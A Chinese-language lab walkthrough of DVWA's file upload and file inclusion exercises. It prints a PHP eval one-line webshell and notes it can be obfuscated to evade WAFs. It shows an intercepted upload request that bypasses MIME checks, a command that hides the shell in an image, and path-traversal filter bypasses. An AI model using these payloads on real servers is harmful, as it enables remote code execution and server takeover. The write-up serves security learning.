0x1 文件上传扫盲
1.大部分的网站和应用系统都有上传功能,而程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性校验或者只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。
2.常用的PHP一句话木马:
eval(): <?php @eval($_POST['hacker']); ?> eval函数将接受的字符串当做代码执行
3.还可以将木马变形使用(变量赋值,base64等方法),从而绕过 waf。
4.找一把连接的木马的中国菜刀。
0x2 低安全等级
1.准备一句话木马php文件,使用记事本打开输入一下内容,命名为1.php。
<?php @eval($_POST['52pojie']); ?>
2.上传1.php,提示上传成功:
3.在浏览器中访问试试,浏览器没有报错,说明这里存在1.php文件。
4.接下来使用中国菜刀,发现报错,最低安全级别的都连不上???
5.百度了一下,原来PHP版本太高了,切换成5.x版本,再使用中国菜刀连接即可:
6.可以看到低安全等级下不会对文件后缀过滤,可以随意上传木马文件。
0x3 中安全等级
1.将DVWA Security设置成medium,再来试试刚刚方法,直接上传1.php。
2.我们发现这里限制只能传JPEG or PNG images。
3.这里我将1.php文件改为1.png文件,然后打开burp抓包拦截一下:
100000
------WebKitFormBoundaryQQiatU7xVviH7zAD
Content-Disposition: form-data; name="uploaded"; filename="1.png"
Content-Type: image/png
<?php @eval($_POST['52pojie']);?>
------WebKitFormBoundaryQQiatU7xVviH7zAD
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryQQiatU7xVviH7zAD--
4.可以看到虽然传的是png文件,但实际内容还是我们的一句话木马,将1.png改回1.php,burp放行,发现成功绕过了后缀名检测,文件上传成功。
5.还是右下角View Source查看源码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
6.发现就是对文件大小uploaded_size和uploaded_type进行了判断。
0x4 高安全等级
1.再试试中安全等级下的方法,发现也不行了。
2.看看源码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
3.好家伙,strtolower函数直接检查文件扩展名是不是图片,getimagesize检查文件头是不是图片,类似PE文件头检测。
4.试试图片隐写术,把两个文件合并,截个图为2.jpg,打开cmd,输入copy 2.jpg/b+1.php/a 3.jpg,生成3.jpg,上传。
0x5 文件包含
1.低安全等级文件包含代码:
<?php// The page we wish to display$file = $_GET[ 'page' ];?>
在代码中可以看到并没有对page参数做任何的过滤和防护,在用户对url进行传参时不管page=?都会被服务器当成php来执行,所以造成任意文件读取和任意命令执行。
2.中安全等级文件包含代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
替换了../和..只是对相对路径做了限制,和前面反射型XSS一样,可以双写绕过,而且对绝对路径依然不起作用,而且对远程文件包含也没有作用。
3.高安全等级文件包含代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch函数检查page参数,要求page参数的开头必须是file,和我们本地打并文件是一样的,使用的是file协议。
说明:低安全等级可以通过..\..\xx.jpg相对路径包含,中安全等级虽然对..过滤,但是可以双写绕过。
0x6 总结
1.文件上传无过滤直接上密码,有文件类型检测,抓包绕过,扩展名和文件头检测,合成图片隐藏php木马。
2.文件包含无过滤..猜路径包含,有过滤双写绕过,file本地文件检测,只能绝对路径访问。
3.学习的时候木马上传成功了,可是中国菜刀连接出现错误,记得降低PHP版本。
0x7 参考资料